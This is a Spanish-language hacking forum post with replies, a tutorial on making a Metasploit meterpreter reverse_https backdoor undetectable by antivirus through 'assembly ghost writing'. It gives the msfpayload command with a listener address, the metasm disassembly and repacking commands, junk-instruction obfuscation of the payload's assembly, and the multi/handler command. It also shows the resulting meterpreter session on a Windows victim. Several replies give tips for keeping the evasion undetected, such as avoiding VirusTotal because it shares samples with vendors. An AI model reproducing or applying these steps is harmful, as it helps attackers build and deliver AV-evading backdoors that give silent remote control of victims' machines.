Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai.
El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.
El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.
En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:
1º Creamos el ejecutable malicioso en formato con msfpayload.
root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw
binario.raw: data
2º Preparamos metasm (http://metasm.cr0.org/)
root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2
3º Desensamblamos el fichero binario:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm
4º Ofuscamos manualmente el código, desde esto:
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff
a esto:
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
mov edi, ecx ; Move the contents of the ECX register into the EDI Register
push edi ; Push the EDI register onto the current stack frame
pop edi ; Pop it back off
mov edi, ecx ; Mov ECX back into edi
xor ecx, ecx ; Zero out the contents of the ECX register
mov ecx, edi ; Mov EDI back into ECX
xor edi, edi ; @1ch
y añadimos al principio del fichero:
.section '.text' rwx
.entrypoint
5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe
carga.exe: MS-DOS executable, MZ for MS-DOS
6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...
_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443
[*] Starting the payload handler...
7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter >
Fuente: hackplayers
me funciono bien ;D en virustotal dice que solo 2 AV lo detectan!
:)
:'( pero tenia ke ver si funcionaba poh wn!!
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
:'( pero tenia ke ver si funcionaba poh wn!!
a la proxima que quieras saber que AV detecta a algo utiliza http://chk4me.com u otro analizador online que no envie muestras a los AV, cuando escaneastes el .exe en Virustotal, lo que haces indiectamente enviaste muestras a toda la lista de AV's que estan en Virus Total. :'(
waaaaaaaa :( asesinaste este sencillo metodo de indetectar ;( NO ANALIZAR EN VIRUS TOTAL, Es algo que paso a ser una REGLA DE ORO en este mundo en los ultimos 3 años...
puta la wea! :-[ perdonenme! es que no sabia :'(
ni pex, ya jodieron el metodo :'(
esto significa que no lo detectan los av? :-X (http://img51.imageshack.us/img51/6319/perdon.png)
Asi es, es indetectable, en donde lo scanneaste?
no hizo falta escanearlo, en cuanto pase el ejecutable a mi maquina virtual el avira lo detecto como: TR/Crypt.XPACK.Gen
lo analize en http://chk4me.com ayer